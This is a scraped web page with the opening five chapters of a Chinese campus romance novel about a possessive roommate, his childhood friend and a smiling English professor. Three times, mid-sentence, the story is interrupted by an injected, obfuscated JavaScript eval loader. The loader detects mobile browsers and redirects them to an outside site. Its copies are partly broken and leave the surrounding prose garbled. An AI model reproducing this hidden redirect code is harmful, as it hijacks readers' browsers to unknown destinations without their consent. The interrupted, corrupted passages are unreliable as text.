《竹马上铺太过喜欢我》 1. 第1章 【给你买饭了你人呢赶紧回来。】 【快回来一起吃饭,一个人在宿舍无聊得要命。】 【出去也不说一声下次别再这样了。】 居渡放在口袋里的手机不停震动着,对面的人像是不收到他的回复就不停止一样。透过窗户望了一眼宿舍楼的方向,看不出他在想些什么。 然后拿出手机,不急不缓地给越鸣玉发消息。 【我今早有课呢。】 那边不停轰炸的信息终于停了下来,越鸣玉像是整理措辞或者努力平复暴躁心情似的过了一会儿才传来了信息。 【你在哪栋楼。】 极为霸道的问话传来,居渡都能想象得到屏幕那边的越鸣玉皱着眉黑着脸凶神恶煞的模样。 【A栋302你动静小一点。】 【知道。】 手机便不再传来消息了。居渡也没什么心思继续听课,瞥了一眼手机屏幕上的时间,马上就要下课了。边想着那家伙边轻轻叹了口气,现在就等着上课的时间过去吧。 希望越鸣玉可以在外面安安分分老老实实地等自己下课。 五分钟不到,关着的教室门被猛地推开。那一瞬间弄出的声响吓得老教授一个趔趄差点跌靠在讲桌上。 门外站着一个留着短发穿着黑色T恤一脸凶相的高大男生,他一边拖着长音喊着“报告——”一边快速迈步进来并迅速地将视线锁定在窗边的居渡身上。 居渡被这个眼神盯得头皮发麻,不禁后悔刚刚迫于淫威把位置告诉给了大魔王。 越鸣玉大步走到居渡位置旁并丝毫不拖泥带水地坐下,他靠近走道,现在直接把居渡堵在靠窗的座位上出不来了。 老教授缓过神来,用自带的手帕擦了擦额上的汗,然后一脸和善慢吞吞地问着:“同学,你是不是进错教室了?” 越鸣玉正微眯着眼望着一脸正气满脸写着“我不认识身旁这个凶巴巴的家伙是谁”表情的居渡,心下愈加烦躁,旁人的话都进不到他的耳中,表现出来的就是对老教授的问话进行了无视。 居渡感觉教室里所有人的视线都聚集到这里来了。因为是选修课所以每个系的学生都有,有人认出了越鸣玉,正小声聊作一团讨论了起来。 从小就知道要尊敬师长的居渡伸手推了推越鸣玉的手臂,示意他回老教授的话。 见居渡终于愿意理睬自己,越鸣玉皱着的眉毛这才稍稍松开。他转过身来开口回了话,声音低沉,乍一听十分唬人。 “久仰您的大名,我过来领略一下您的风采。” 居渡对超凶但超听自己话的越鸣玉也是不知道该说些什么好了,只能继续假装“我什么都不知道”的样子坐在一旁。 老教授正欲说些什么,下课铃突然响起,只好作罢让学生们下课。教室里的声音顿时嘈杂了起来,每个人都收拾着东西准备去食堂吃饭。 越鸣玉,X大的大二学生,算是居渡从小玩到大的竹马。现住在X大宿舍,睡在居渡上铺。 长相俊朗凶悍,脾气极为暴躁恶劣,因为爱好体育运动尤其是篮球,所以身体肌肉非常健硕漂亮。人高马大,宽肩窄腰,皮肤被晒成健康的蜜色。 虽说家里人为他取了一个一看就是风度翩翩贵公子的名字,但他的长相却是典型的“恶人脸”,性格也是又暴又坏。 下课之后,身边的声音就大了起来,也无人再关注他们这边。居渡看着身旁黑着脸行为却莫名乖顺的越鸣玉,抿了一下唇,有些责怪地说道。 “不是让你动静小一点的吗?” 此时的越鸣玉就像是一个突然被点炸的火药桶,脸色立刻就变了,他紧皱着眉,锐利的双眼死死地盯着居渡。“哈啊?是谁在我起床之后人就不见了,上课怎么不和我说一声。” “还去买了饭等着你回来,半天都不见你人影,你是要急死我吗?出事了又该怎么办!” 凶神恶煞的大魔王越鸣玉脸上的怨气都能化作实质把居渡给生吞活剥了。 居渡不想多说什么,他有时候真的不知道越鸣玉到底在想些什么,在学校里这么点大的地方能出什么事。 他伸出手推开因为气愤而不断靠近他的越鸣玉。“行了别闹了,回去吃饭吧。别老发脾气,你这样又要被别人在背后乱说了。” 从小到大,一直待在他身边的越鸣玉常常因为脾气暴坏说话不留情面而被贴上一些乱七八糟的标签。 “他们怎么说关我屁事。”越鸣玉的脸色依然不好,但还是乖乖站起身来让开了路让居渡能走出来。 居渡无视了越鸣玉的脏话。拿着已经收拾好的背包准备回宿舍吃越鸣玉给自己带的饭,越鸣玉却突然伸手扯了一下居渡,把他往自己怀里带。 于是毫无防备的居渡就这样撞进了越鸣玉的怀中,他的后背直直贴到了越鸣玉薄薄的布料覆盖着的结实胸肌上,由于着急跑过来而滚烫的身体温度隔着衣服传到居渡背上。 被这突如其来的温热刺激得一阵头皮发麻,居渡感觉自己手臂上的鸡皮疙瘩差点全起来了,脑子里也好像突然冲撞进了一股电流。 他又想起了那些年被大魔王的身体支配着的恐惧日子。于是居渡奋力挣扎了几下,提高声音让 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按理说,越鸣玉的长相应是极为吃香。俊帅凶悍,身材也好,不知道有多少人喜欢这种霸道帅气的类型。 但越鸣玉的性格实在太差劲了,对谁都是一脸凶狠“看你一眼就是施舍你”的表情。久而久之,即使他的外形条件再好,大家对他也只是敬而远之。 高中时有个女生抖着胆子向越鸣玉告白,越鸣玉满脸不耐烦,毫无绅士风度地直接无视掉对方离开,一次正眼都没有看过去,完全把人当成了空气。 虽然脾气坏了点,但在居渡这里意外地是一个容易相处的人,也可能是因为他早就习惯了越鸣玉的性格。 和越鸣玉从小到大相处了十几年,几乎每一天都能见到面。吵架斗殴这种在越鸣玉身上是家常便饭的事对居渡倒是一点都没有表现出来,甚至某些时候给人的感觉还相当奇怪。 前往食堂的路上。居渡微微侧过脸看着身边背着包一脸凶相的越鸣玉,微不可察地轻叹了口气。 一直将心放在居渡身上的越鸣玉敏锐地感受到了居渡的目光,他跟着转过头来,瞪着居渡,一副恶狠狠的吃人模样:“再看着我叹气就把你吃了!” 居渡摆了摆手,敷衍地回答着越鸣玉。“好好好,不看了不看了。” 然后转过脸去一副什么都没发生过的样子。 见状,越鸣玉在心里暗骂了一句自己,他明明不是那个意思,说出来的话却总是变味。居渡当然不知道越鸣玉到底在想些什么,他已经在考虑待会儿要吃什么了。 笨蛋,不是让你不看我啊。 2. 第2章 等居渡和越鸣玉来到食堂后发现每张桌子都已经坐了些人,差不多都坐满了。越鸣玉皱眉扫了一圈,把一直背着的包暂时还给居渡,然后一个人走向打饭窗口。 居渡对此没有异议,不忘朝越鸣玉喊了一声:“打包回去吃啊。” “知道了知道了。”越鸣玉边出声应着,边背对着居渡抬起手挥了两下。 在越鸣玉去买饭的时候,居渡四下看了看,发现哪张桌子旁好像都有人,就随便找了个空位置坐下来等着越鸣玉。 对面正在吃饭的男生抬头瞥了一眼居渡,居渡正好和他对上视线。看到是谁之后居渡惊讶了一下,然后笑着打了声招呼,他是觉得还挺巧的。 “沈予归,你也在这啊。” 面前的男生有着一张异常俊美的面庞,周身自带一种清贵的气度。平常不说话时面上没什么表情,一双墨黑的眼冷冷淡淡的,像是没什么温度。 他的肤色偏白,身材也是属于挺拔修长的那种。上身穿着一件白色的短袖,外面套了件浅蓝的薄外套,颜色很衬他,整个人给人一种清爽又矜贵的感觉。 沈予归和自己也是同一个宿舍的,家庭条件貌似相当优越,大部分时间是不在宿舍的,所以也少见对方这种一看就是贵公子类型的人居然会乖乖吃食堂。 这当然让居渡感到有点新奇。不过他探究的心思并不是太重,别人的事终究是别人的事,和自己其实没有多大关系。 被居渡打了声招呼,沈予归点了点头想要开口说话。但他还是先敛目慢条斯理地咽下口中的食物,能看得出来是个家教良好的人。 “和家里闹了一些矛盾,近期可能要回宿舍住。”沈予归不仅长得俊俏,声音还很撩人。清冷的声线中像是掺杂了许多细小的砂砾,嗓音又低低的,十分悦耳。 但他本人倒是话少得很。 居渡表示理解地点点头,他其实没有要问原因的意思,不过对方既然主动说了这其实也没什么,现在他当然是不打算继续追问下去的。 他们两人本来就不是特别熟的关系,除了在大一开学的时候他偶然帮了沈予归一把以外两人就没什么交集了。 在居渡已经移开视线抱着包坐在座位上等着越鸣玉的时候,沈予归微微抬眼看了一眼居渡,眼神里藏着些不知名的情绪,然后低下头来慢慢地吃着饭。 那边越鸣玉已经把饭菜打包好了,正脸色难看地向居渡走来。 居渡一看到越鸣玉这副被踩了老虎尾巴的躁怒样子,就知道肯定又有什么事惹到他了,看着越鸣玉这样还觉得挺好玩的。 他站起来向沈予归打了招呼说先回宿舍了,沈予归也颇为礼貌地轻声告别。 买了饭回来的越鸣玉走近后皱着眉看了一眼吃个饭都是一脸贵气的沈予归,他一抬手臂猛地把居渡拽到自己身边来。 “越鸣玉!”又被越鸣玉带到身边,也不知道这家伙在想些什么乱七八糟的,居渡再次声调提高警告地喊了一声越鸣玉的名字。 这让越鸣玉下意识地就松手放开了居渡,抿了抿唇没说话。 等出了食堂门之后,满脸写着“我不高兴”的越鸣玉凶巴巴地开口了:“你怎么和那个沈沈什么来着的那么熟啊。” 都一年了连别人名字都没记住,而且他们还是同宿舍的,这样一看越鸣玉也真是个人才。 不太清楚越鸣玉问自己这个问题到底是什么意思,居渡也不去多想。“刚好遇到了而已,气氛还有点尴尬。” 看出居渡觉得没必要将这个话题给继续下去,越鸣玉察觉到之后心下虽然憋闷但却没有继续无理取闹。 然后突然想起来了更重要的事,他看了一眼自己手上提着的饭,不禁又骂骂咧咧了起来。 “妈的,没搞到你喜欢的黑椒牛柳。” 黑椒牛柳盖饭是X大食堂小有名气的美食之一,牛柳香滑柔嫩的口感和醇香浓厚的酱料受很多X大的学生热爱追捧。但因为太过火爆,买这款饭都是要靠抢的。 加上他们去得迟了些,没买到也是正常的。 居渡倒是不在意这些小事,吃什么都是吃,能吃到好吃的当然很好,没有也没太多所谓。越鸣玉则是气了一路,好像是没买到自己喜欢吃的东西一样。 回到宿舍,还是只有他们两个人。居渡走过去时余光扫见垃圾桶,里面有两份连包装都没打开的饭,不禁默默痛斥越鸣玉的浪费可耻。 越鸣玉把饭放到他自己桌上,先去洗了手接着过来打开了饭盒。居渡也去洗了手,然后准备拿着自己的那份坐到床边吃。 居渡刚想那么做的时候就被越鸣玉眼疾手快地制止了行为,他凶巴巴地威胁道:“就坐在这里吃,吃完我好收拾。” 被越鸣玉突如其来的霸道和贤惠糊了一脸的居渡:······ 他是觉得这样也行,就端起自己的饭坐在越鸣玉的桌旁吃饭。 越鸣玉给居渡买的是鱼香肉丝盖浇饭,他自己的则是宫保鸡丁盖浇饭。居渡挺喜欢吃鱼香肉丝的,这个小喜好倒是没有特意告诉给别人过。 当下以为越鸣玉只是碰巧买到了自己喜欢吃的菜式, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16883460|192009||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没多想的居渡坐在越鸣玉的椅子上一边看动漫一边吃饭。 越鸣玉则是拉过居渡的椅子,凑在他身边和他一起看,兴致似乎还挺高的样子。 午饭过后,越鸣玉主动地把饭盒收拾了起来。 居渡本想着自己下楼去把垃圾扔了,结果越鸣玉二话不说就把垃圾桶里半满的垃圾袋拎了起来,快要出门时回头看了一眼居渡。 “你把垃圾袋套上,我去扔个垃圾,马上回来。” 居渡没多在意地应着好好好。所以这种只是扔个垃圾而已,却像是怕他跑路的语气是要怎么样。 停在门口的越鸣玉顿了一下,似乎还要张口说些什么,但看居渡专心地看着那集动漫的剩余部分,便什么都没再说了。 看完动漫之后居渡就走过去把垃圾袋套了一下,然后回来打算再看一集就午睡。下午他有课,越鸣玉也有,有一节课他们两人在同一间教室上。 这时门被推开了,居渡本来以为是越鸣玉,转头看了过去,发现是沈予归提了些东西进了宿舍。 长得还真是好看,居渡不禁在心里感慨了一下。 沈予归一边弯腰换了鞋一边抬头和居渡打了个招呼。居渡回应了下,看着沈予归就让他莫名想到了和其性格完全相反的暴躁魔王越鸣玉。 越鸣玉什么时候能学会和除自己以外的人心平气和好好打招呼就见鬼了。 说曹操曹操到,越鸣玉刚好走进宿舍。他先是看了一眼坐回床上的居渡,然后才轻飘飘地瞥了一眼沈予归。 越鸣玉和沈予归几乎是零交流,本来越鸣玉就属于那种懒得搭理别人的类型,沈予归又常常不在宿舍。两人能说得上话的契机少得可怜,也难怪这家伙不记得沈予归的名字。 一想到这里居渡就摇了摇头,他想着就算越鸣玉和沈予归有接触他也不喜欢记别人名字。 进了宿舍的越鸣玉先去卫生间洗了手出来,然后目标明确地走过去坐在居渡床上,看居渡专心看着手机屏幕他就安安分分待在一旁等着。 一旁的沈予归注意到之后便看了过来,视线更多地是放在居渡的身上。脱下了自己的外套接着就去了卫生间。 “他怎么突然回来住了?”在沈予归进卫生间后,越鸣玉也不知是有意还是无意,他的身体紧挨着居渡低声问道。 感觉到越鸣玉是没话找话,居渡依然看着屏幕上的动漫,他抽空回了下越鸣玉。 “可能有事吧。”居渡说得很含糊。那毕竟是人家的私事,他就算知道了原因也不好在越鸣玉面前多说什么。 3. 第3章 越鸣玉自然察觉到了居渡没多少回答的心思。他的眼神沉了一下,没表现出什么过激反应。 他们的寝室是标准的四人间,但X大的宿舍配置很奇妙,没有选用上床下桌的形式。而是将上下床连为一个整体,桌子和柜子都摆放在别的位置上。 这间宿舍住了居渡、越鸣玉、沈予归,还有一个已经在校外租房子住的人。这个人最开始就常常不回宿舍,所以很长一段时间宿舍里就只有居渡和越鸣玉两个人。 他们两人倒是乐得轻松,本来就是从小认识的好友,习惯了彼此的存在,住在同一间寝室生活上也能相互照应着。何况宿舍只有他们俩,感觉空间都变得大了起来。 居渡有睡午觉的习惯,现在吃完饭吹着空调就有些犯困,坚持着把这集动漫给看完了。他半眯着眼打了个哈欠,推了推身旁的越鸣玉。“你上去,我要睡觉了。” 越鸣玉清楚地感受到了居渡软绵绵的力气,他挑着眉看着居渡犯困的脸。 “我不,我就要和你一起睡。” 依旧是霸道而不容置疑的语气,给人的感觉很是强势。 已经困了的居渡没心思应付越鸣玉,他对声音极其敏感,睡觉的时候有一点声音都能让他心情变差,憋闷不已。他很讨厌自己被弄得睡不成觉,也有中度的起床气。 居渡皱了皱眉,瞪了一眼越鸣玉。“快点上去,我困死了。” 越鸣玉被这一眼撩得心痒痒的,垂在身侧的手指无意识地动了动。当下收敛了想要折腾居渡的态度,听话地爬上了上铺。 这时沈予归也从卫生间里收拾好出来了。他洗了把脸,因为没有用毛巾擦干,脸上还带着细微的水珠,更显得眼睛墨黑发沉。 居渡侧躺在床上,空调的凉爽让自己的困意加重。想着下午还要和大魔王一起上课,就隐隐有些头疼。他闭着眼睛都能想象得到越鸣玉那副凶巴巴不服管教的无理样子了。 不停地在找着存在感似的,到底是想让谁注意到他。 就这样想着想着,居渡慢慢进入了梦乡,呼吸逐渐平稳了下来。 越鸣玉将上半身倚在上床的护栏边,歪头向下看了看已经睡着的居渡。然后眼一瞥,和对床下铺的沈予归对上了眼神。 那双眼冷冷淡淡的,什么情绪都没有。 可是越鸣玉就是没由来地觉得烦躁,他“嘁——”了一声,声音很轻,没有打扰到居渡,但也足够让沈予归听见他的“挑衅”。 沈予归面无表情地转过了头。 越鸣玉懒得在意沈予归的反应,半躺在床上把手机静音打起了游戏。 提前设定的闹铃按时响起,居渡迷迷糊糊地关了手机铃声。他从床上坐起来,宿舍里凉爽的温度让人忍不住想再躺回床上。 没午睡的越鸣玉察觉到了下铺的动静,他从上铺下来,坐到居渡床上。双眼里没什么情绪地看着居渡,表情显得有些凶。 居渡掀开盖在身上的薄被,还没怎么清醒,迷糊地说了一句:“干嘛啊?” 下一秒,看到居渡这副还没睡醒样子的越鸣玉心脏就被戳了个穿。 他知道居渡睡眠质量不好,对声音很敏感,四周稍微有点动静就会睡不着。他中午一般也不午睡,所以打游戏看电影时都会戴上耳机或是静音,不发出一点声音。 “快点收拾,下午笑面阎王的课。”越鸣玉没别的意思,他轻拍了拍准备下床的居渡肩膀,低声催促他动作快点。 居渡整理了下衣服,慢吞吞地走向卫生间洗脸。他这一觉睡得安稳,睡醒后对面床铺的沈予归已经不见了身影,走的时候同样一点声音都没发出来。 坐在居渡床上的越鸣玉想了想刚刚打游戏时无意间瞥了一眼下面,注意到沈予归离开时轻巧的动作,他皱了下眉,烦躁地打完了那局游戏,躺床上开始发呆。 居渡,居渡。越鸣玉枕着手臂躺在床上,眼睛往天花板那儿看。越想越不是个滋味,居渡好像还挺抗拒自己的触碰的。 正思索着,下铺就传来了闹钟铃声。越鸣玉索性不想了,爬下床催居渡起床。 出门前越鸣玉换了一件黑色的背心,外面套了件白色短袖衬衫。结实柔韧的肌肉将背心鼓鼓地撑起来,手臂线条清晰利落。乍看之下给人一种霸道又安全感十足的男友感。 洗完脸后的居渡也精神多了,简单带了笔和书就和越鸣玉一起出发。 外面的日头毒辣,呆上几秒就感觉要被活活晒化一般。 前往教学楼的路上越鸣玉一直盯着居渡,自己都没注意到自己那在意得不行的眼神。居渡是易出汗体质,又怕热,额头上已经隐隐沁出了汗珠。 越鸣玉则是因为自身体质比较强健,他本身也挺喜欢运动锻炼,所以流些汗在他眼里算不上什么大事。但是居渡这边就不太一样了,没走几步路却好像经历了什么大磨难似的。 居渡脸上的汗流得挺厉害,越鸣玉面上的表情也不太好,他凶巴巴地叫住居渡,正好让他停在一片树荫下。 他从自己背的包中掏出湿纸巾递给居渡。 居渡接过之后说了声谢谢,然后低下脸开始擦汗。一阵风吹过,居渡额上微微汗湿的碎发被吹开,露出清俊的眉眼。 看到这一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16883461|192009||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 幕的越鸣玉只觉得他的心突然开始加快速度跳动着,仿佛要从胸腔中逃出来了一样。 但居渡流汗成这样他光是看着心里就难受得要命,就又担心又着急地凶了一句居渡:“能不能照顾好自己,冰贴不会买着用吗。” 居渡看了一眼越鸣玉,越鸣玉在这种炎热的天气下还能跟没事人一样,人和人之间差距真大。不过被越鸣玉这么一说,居渡说话也带着气。“站着说话不腰疼,我下次买还不成吗。” 被居渡这样一说越鸣玉就不说话了,一张俊脸紧紧绷着,本就显得凶狠强势的五官现在更添几分难以靠近的戾气。 他拉着居渡一言不发地往教学楼方向走。在心里暗暗骂了一句,越鸣玉你就是个傻X。 等到了教学楼一楼,总算有了些阴凉地。居渡一路上又出了挺多汗。越鸣玉脸上的表情更不好看了,他一边把包递给居渡,一边对他说:“我去买点东西,帮我占个座。” “回来的时候别让我看见你旁边有别人。” 越鸣玉甩下这句话就大步离开了。 还没反应过来的居渡抬起脸,站在原地喊了几声越鸣玉。“越鸣玉!越鸣玉!颜斐章的课啊?!” 越鸣玉背对着居渡抬起手臂比了个没事的手势。居渡一脸懵地抱着背包,缓过神来感叹越鸣玉还真是大无畏。 颜斐章的课都敢飘,阎王爷在世啊。 颜斐章是X大的教授,教英语的。笑面虎模样,平常和和气气的,扣起学分来倒是绝不手软。连越鸣玉都要硬着头皮认真听讲的课,颜斐章还真是独树一帜,非常罕见了。 为人和善行事果断,人长得也不错。虽然扣学分让人痛哭流涕到不行,但这个男人莫名在学生群体中挺受欢迎。 “还看呢?快上去吧,还剩两分零八秒,别怪我没提醒你。”背后传来一道带着笑意的声音。 居渡顿时觉得自己后背的汗唰地一下又流出来了。他转过身来,扯出个微笑。“颜老师好。” 面前的颜斐章笑眯眯地看着居渡。 颜斐章今年也才不过三十,皮相很年轻,说他二十出头都有人信。俊朗的眉眼总是笑得弯弯的,给人一种温柔好欺负的样子。身材保持得很好,穿简约的衣物也能看出肌肉线条。 居渡当然知道这个男人远没有外表看上去那样单纯无害,自己有次差点就被他扣了学分,说是生死时速也不为过。 被问了声好的颜斐章笑着向居渡点点头,放他走了。 在颜斐章的注视下,居渡一边上楼一边还有心思吐槽。 果然眯眯眼的都是怪物。 4. 第4章 在颜斐章眯眯眼笑着记了几个迟到学生的姓名之后,居渡看着身边的空位心里有些不安。 要知道如果旷颜斐章的课那就等于这门课可以准备重修了,英语还是公共大课,谁都不想挑战一下自己。 上课后过了五分钟越鸣玉才出现在教室门口。 讲台上的颜斐章正进行着一段文章的讲解,被越鸣玉的到来发出的声响打断后也没有丝毫生气的样子。他转过身,眼睛笑眯眯地弯成月牙,语气也是温和亲切毫无攻击性。 但在场的学生都不由得背后一凉。 “越同学,你迟到了。” 听见颜斐章这句话的居渡后背一麻,不免担心地看了看门口的越鸣玉,他实在怕越鸣玉急起来和颜斐章闹个不愉快。 要知道越鸣玉从来就不是喜欢屈居人下的性格,凶戾不驯才是他的本性。而且之前越鸣玉就好像和颜斐章不对付,两人对外的形象又刚好完全相反。 虽然颜斐章看起来不是会过多计较的类型,只要不违反破坏他设下的规则就不会有糟糕的事情发生,但种种事迹都表明他绝对不是表面上看的那样毫无脾气。 越鸣玉要是和他产生冲突的话下场一定不怎么样。居渡表示他可不想让越鸣玉就这样在自己的眼前“牺牲”。 这时,越鸣玉的眼神刚好和居渡对上了,他的短发因为急匆匆跑过来而显得有些乱,脸上也是没什么表情。 但出乎意料地,他看向居渡的神色平静而安稳。 就像是袒露肚皮把信任都交予主人从而变得顺从又安分的大型猛兽一样。 或许这样来比喻不太妥当,毕竟越鸣玉的确是猛兽,但自己又不是他的主人。不过从某些方面来讲,两者还是有共通之处的。 越鸣玉向居渡比了一个口型。 【没关系。】 接收到这句话的居渡只好点点头,选择了相信越鸣玉,他大概潜意识里觉得越鸣玉不会做出冲动的事情。 面对话中带刺的颜斐章,越鸣玉意外地没有立刻和这个他一向不怎么喜欢的男人吵起来。他的眼睛瞥了一眼颜斐章,很快就将视线收了回来,有些不耐烦。 “老师,我迟到了我错了——”说出的话虽然很有礼貌,但是依旧故意拖着长音,声音又低沉,不听内容的话还以为是什么可怕的威胁。 听到越鸣玉承认自己迟到错了之后,颜斐章笑眯眯地点了点头,意思是放越鸣玉进来了。 在颜斐章的课上如果有学生迟到,迟到的人就必须得喊一句认错的话他才肯放人进来。 行事确实有些古怪,却又让人不得不屈服于这种教学方式,这也算是另一种的负责任。至少迟到的人少了,学生也不敢真的旷课。 进了教室的越鸣玉目不斜视大步走到居渡身旁坐下。 台上的颜斐章继续讲课,居渡侧过脸来看到越鸣玉的短发都微微汗湿了,不知道这家伙做什么去了,他声音放轻悄悄问他。 “你刚刚干嘛去了?” 一说这个越鸣玉就想起来了,他绷着脸从口袋里掏出了不少冰贴,还从怀里拿出一瓶冰矿泉水。矿泉水的牌子是居渡最喜欢喝的那一款。 “还不是看你热成那样了,万一倒在我面前怎么办。”越鸣玉的声音压低,手上帮着把矿泉水的瓶盖拧开。 居渡想着原来越鸣玉是去买这些东西了,学校里的超市离教学楼有一段距离,越鸣玉跑来跑去还真是不容易。 他都不知道现在是该夸一下大魔王还是该让他下次不用帮自己买。 看居渡没说话,也没接过自己的东西。越鸣玉抿着唇,把东西往居渡那里一推,面上表情显得有些凶悍。 “行了,快点用吧。” 居渡这才反应过来,他有些不好意思地朝越鸣玉笑了一下,接过之后想起来什么似的朝越鸣玉说了一句:“那饭钱和这个的钱我微信给你吧,一起转还方便些。” 他一边低头往自己手臂上贴了个冰贴一边对旁边的越鸣玉说。 越鸣玉皱了下眉,心里莫名有些烦躁,似乎对居渡把什么事都分得这么清的做法感到不满。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16883462|192009||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他声音略微提高了一些。“不用,这点钱算什么。” 越鸣玉一皱眉就显得整个人气势特别强硬,整张脸凶悍又俊朗,男子气概十足。 不过居渡对此没什么太大的反应,他早就习惯了越鸣玉这副模样,刚想说些什么就听到一道带着笑意的男声。 “越鸣玉,你来讲一下这段。”颜斐章双手撑在讲桌上,正微微歪着头面带笑容地看向越鸣玉。 越鸣玉的脸色瞬间更差了,憋闷地低声骂了一句:“操。” 谁让越鸣玉的确不太擅长英语,光是语法和单词就能要了他的命。颜斐章又是一个刁钻难惹的家伙,不过最后他还是在一旁居渡的小声帮助下逃过了这一劫。 坐下后越鸣玉心里的气还是憋在那儿,他过了会儿闷闷地扯出一句话:“你别老和我分那么清。” 难得越鸣玉居然会这么别扭,居渡还挺意外,他下意识地看向越鸣玉,双眼一眨不眨。 越鸣玉被这么一盯也有些不自在,他眼神闪躲了一下,凶巴巴地说了一句。 “看什么看啊。” 实际上越鸣玉心里乱得不得了,跳动着的心脏像是被一只无形的手紧紧攥住,居渡脸上一个细微的表情都能让他感到一阵控制不住的慌乱。 居渡刚想开口就再次被一道熟悉的声音打断。 “居渡,你上来答一下这道题。”颜斐章还是笑眯眯的,双眼弯弯,显得十分温和无害。 在座的学生皆是一颤,不约而同地同情着被颜斐章点到名的人。 被点了名之后,居渡的眼神一下子就变得哀怨了起来。他不仅两次开口没成功说出话,居然还被颜斐章给逮住了,笑面阎王是把注意力都放在他们这边了吗。 越鸣玉虽然对颜斐章的行为感到愤怒不悦,但在这时候他也没办法做些什么,只能脸色难看地起身给居渡让开位置。 居渡一步步走向讲台,仿佛去的是刑场一样。 而颜斐章则是趁这个空隙拿起水杯喝了口茶,好整以暇地倚在旁边注视着他。 5. 第5章 居渡的英语也就是个中等水平,幸好白板上的题并不是很难,是之前颜斐章上课讲过的一道题型。只要好好听讲了就都能做出来,居渡十分庆幸他在颜斐章课上还是会认真听的。 倚在一旁的颜斐章也不说话,就眯着眼满脸笑容,双眼直勾勾地盯着上来做题的居渡,毫不掩饰的露骨眼神让居渡觉得是不是冰贴起作用了怎么自己感觉这么冷。 坐在原位的越鸣玉烦躁地向后一靠,环着双臂看向颜斐章,压下心底的不舒服,已经在非常努力地克制自己不要有别的动作了。 在居渡看题的时候,颜斐章一直注视着居渡的侧脸。他当然是察觉到了学生中有一道视线格外刺人,微微侧过脸不着痕迹地瞥了一眼明显低气压的越鸣玉,笑得眼睛都弯了起来。 他其实也有些心痒痒,不知道是为了满足自己的私欲还是为了让越鸣玉更不愉快。颜斐章静悄悄地凑近居渡,温热的呼吸瞬间就爬上了居渡的肌肤。 居渡手一抖差点将记号笔甩颜斐章脸上。 他告诉自己要冷静,要稳住,不能屈服于笑面阎王的威压之下。 在旁人看来似乎是居渡答题的时候有个小细节错了,颜斐章靠近指点一下而已。 但在越鸣玉看来,颜斐章这头老狐狸根本就是故意的。他的身体紧紧挨着居渡,都快不留缝隙了,眼睛更是笑盈盈地看着居渡。 越鸣玉黑着脸把手中的矿泉水瓶捏得咔咔作响,整块的冰都碎成了冰渣。 被颜斐章凑这么近的居渡生无可恋,他只觉得这一两分钟是如此的漫长难熬。他本来就不是很喜欢和别人有过多身体上的接触,颜斐章还贴他这么近,一转头都要亲上了。 好不容易颤颤巍巍写完了题,颜斐章又拍拍他的肩膀让他讲一下这道题的解法。 居渡的心里那叫一个五味杂陈。 好在最后居渡还是平安无事地下来了,颜斐章在台上依然笑眯眯的,怎么看都是一副心满意足的样子。 越鸣玉沉着脸,一双凌厉明亮的眼睛狠瞪着颜斐章,表情很是凶戾。他的烦躁和厌恶都快从胸腔里溢出来了,越看颜斐章越觉得不顺眼。 然而颜斐章对此视若无睹,依然讲着自己的课,垂在身侧的左手却不易察觉地动了动。就像是谁的体温还停留在那里一样,完全是身体自发的反应。 回到座位上的居渡看着越鸣玉手边矿泉水的冰块都化成了碎渣,刚刚在他上去受刑的时候有人惹到大魔王了吗。居渡没有深入去想,也不打算问越鸣玉是怎么了。 越鸣玉还处在那种糟糕的情绪之中,但他又不能对什么都不清楚的居渡说些什么,只好自己一个人脸色难看地生着闷气。 对于越鸣玉的反应居渡显然没太在意,转头撑着脸继续听课。 教室里的空调已经吹了有一段时间,居渡也不觉得热了,他索性把冰贴撕下来对折了一下,放到一边准备下课再丢掉。 越鸣玉因为心情不好,所以脸上一直维持着一个看起来很不好惹的表情。在注意到居渡有哪怕一点的动静时,他都会忍不住将目光投过去。 居渡的侧脸被遮住阳光的窗帘所产生的阴影笼罩着,昏昏暗暗的,俊秀而清朗。不是那种柔弱少年的秀气,而是自带一种介于少年和青年之间的清新感。 他整个人就像夏日里被树荫遮蔽着的清凉池水,让人忍不住想要在旁边好好待着睡一觉。 夏日、蝉鸣、树荫,一切都被融入在这种美好纯粹的感觉中。 眼看着居渡微微动了动,似乎是察觉到了自己的视线。越鸣玉连忙移开眼,心脏砰砰直跳,他总感觉自己的面部皮肤开始发烫。 刚刚被颜斐章的行为弄得心烦意乱的越鸣玉心情都变得明亮了许多,怀里就像揣了个绒绒软软的小动物一样。他越是想把它抓住,它就越是闹腾得厉害,最后只能让自己的心都软化成一滩春水。 第二节小课,居渡忍不住打了个哈欠。颜斐章讲的课虽然风趣生动,但他总觉得这个温柔善笑的男人是颗大型催眠药,每次 